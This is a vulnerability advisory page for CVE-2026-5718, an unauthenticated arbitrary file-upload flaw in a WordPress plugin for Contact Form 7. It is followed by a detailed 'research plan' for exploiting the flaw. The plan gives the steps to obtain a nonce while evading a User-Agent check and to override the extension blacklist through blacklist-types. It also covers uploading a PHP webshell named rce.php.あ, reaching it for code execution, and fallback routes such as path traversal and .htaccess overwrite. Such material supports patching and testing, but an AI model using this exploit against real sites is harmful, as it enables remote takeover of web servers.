Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass
Description
The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.3.9.6. This is due to insufficient file type validation that occurs when custom blacklist types are configured, which replaces the default dangerous extension denylist instead of merging with it, and the wpcf7_antiscript_file_name() sanitization function being bypassed for filenames containing non-ASCII characters. This makes it possible for unauthenticated attackers to upload arbitrary files, such as PHP files, to the server, which can be leveraged to achieve remote code execution.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.3.9.6What Changed in the Fix
Changes introduced in v1.3.9.7
Source Code
WordPress.org SVN# Research Plan: CVE-2026-5718 - Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass ## 1. Vulnerability Summary The **Drag and Drop Multiple File Upload for Contact Form 7** plugin (up to 1.3.9.6) contains a critical unauthenticated arbitrary file upload vulnerability. The flaw exists in…
Show full research plan
Research Plan: CVE-2026-5718 - Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass
1. Vulnerability Summary
The Drag and Drop Multiple File Upload for Contact Form 7 plugin (up to 1.3.9.6) contains a critical unauthenticated arbitrary file upload vulnerability. The flaw exists in the AJAX file upload handler dnd_upload_cf7_upload.
Two distinct validation failures combine to allow Remote Code Execution (RCE):
- Blacklist Overwrite: The plugin allows the client to provide a
blacklist-typesparameter. Instead of merging this with the default dangerous extension list (like.php,.phar), the plugin replaces the default list with the user-provided one. An attacker can provide a harmless extension (e.g.,txt), effectively removingphpfrom the denylist. - Sanitization Bypass: The function
wpcf7_antiscript_file_name()(used to rename dangerous files) can be bypassed using filenames containing non-ASCII characters. When such characters are present, the sanitization fails to properly neutralize the PHP extension, and the file is saved with its original executable extension.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
dnd_codedropz_upload(Registered viawp_ajax_nopriv_dnd_codedropz_uploadininc/dnd-upload-cf7.php) - Payload Parameter:
upload-file(Multipart file upload) - Supporting Parameters:
security: A valid WordPress nonce fordnd-cf7-security-nonce.blacklist-types: Set to a harmless string (e.g.,invalid) to overwrite the global dangerous file extension list.upload_folder: A unique string used as the directory name (e.g.,f69696969696).upload_name: The name of the form field (e.g.,upload-file-123).
- Authentication: None required (unauthenticated).
3. Code Flow
- Entry Point: An unauthenticated
POSTrequest is sent toadmin-ajax.phpwithaction=dnd_codedropz_upload. - Nonce Verification: The plugin checks
securityusingcheck_ajax_referer( 'dnd-cf7-security-nonce', 'security' ). - Blacklist Logic: The code reads
$_POST['blacklist-types']. It uses this value to initialize the denylist. Because it replaces the internal list rather than appending to it, the default protections against.phpare lost. - File Processing: The plugin processes
$_FILES['upload-file']. - Sanitization Sink: It calls
wpcf7_antiscript_file_name($filename). If$filenamecontains non-ASCII characters (e.g.,shell.php.あ), the function fails to append the safe.txtextension or otherwise neutralize the.phpsuffix. - Storage: The file is moved to
wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{upload_folder}/{filename}.
4. Nonce Acquisition Strategy
The plugin provides a specific AJAX action to retrieve a nonce if one is not present or has expired.
- Mechanism: The function
dnd_wpcf7_nonce_checkininc/dnd-upload-cf7.phpis hooked towp_ajax_nopriv__wpcf7_check_nonce.function dnd_wpcf7_nonce_check() { if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){ wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) ); } } - Strategy:
- Send a
POSTrequest toadmin-ajax.phpwithaction=_wpcf7_check_nonce. - The response will contain the nonce in
data. - Note: The code blocks
User-Agent: curl, so a standard browser-like User-Agent must be used.
- Send a
5. Exploitation Strategy
Step 1: Obtain Nonce
- Call
action=_wpcf7_check_nonceviahttp_request. - Extract the nonce from
response.data.
- Call
Step 2: Prepare Payload
- Create a file named
rce.php.あ. - Content:
<?php echo "VULN_CHECK: " . php_uname(); ?>
- Create a file named
Step 3: Execute Upload
- Send a multipart
POSTtoadmin-ajax.php. - Parameters:
action:dnd_codedropz_uploadsecurity:[OBTAINED_NONCE]upload_folder:pwned123upload_name:my-file-fieldform_id:1blacklist-types:null-and-void(Overwrites the.phprestriction)upload-file:[FILE_BINARY](Filename:rce.php.あ)
- Send a multipart
Step 4: Access Shell
- The file is stored at:
http://[TARGET]/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/pwned123/rce.php.あ - Note on non-ASCII Execution: On most Linux/Apache configurations,
rce.php.あwill be processed by the PHP handler because it contains.phpand the.htaccessgenerated by the plugin indnd_cf7_upload_plugins_loaded()only blocks files ending in.phpor.phar(<FilesMatch "\.(php|phar)$">). The non-ASCII characterあat the end bypasses this regex.
- The file is stored at:
6. Test Data Setup
- Ensure Contact Form 7 and the vulnerable plugin are active.
- Create a standard Contact Form 7 form.
- Add the
[mfile]tag to the form:[mfile upload-file-123]. - No specific plugin settings are required as the exploit relies on parameter injection (
blacklist-types) to override server-side defaults.
7. Expected Results
- Nonce Step: JSON response
{ "success": true, "data": "..." }containing a 10-character hex string. - Upload Step: JSON response
{ "success": true, "data": { ... } }indicating the file was successfully uploaded. - Execution Step: Navigating to the shell URL returns the output of
php_uname().
8. Verification Steps
- WP-CLI Check: Verify the file exists on disk.
ls -l /var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/pwned123/ - HTTP Check: Confirm the shell is executable.
# Use http_request to fetch the shell URL # Look for "VULN_CHECK:" in the response
9. Alternative Approaches
- Path Traversal: If the
upload_folderparameter is not properly sanitized, attempt to use../to place the shell in a more accessible directory. - Direct .htaccess Overwrite: Attempt to upload a file named
.htaccessby settingblacklist-typesto something else, potentially disabling the plugin's security rules globally in that directory. - Double Extension: If the non-ASCII bypass fails, try
rce.php.txtwithblacklist-typesset to something excludingphp, in case the server handles double extensions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.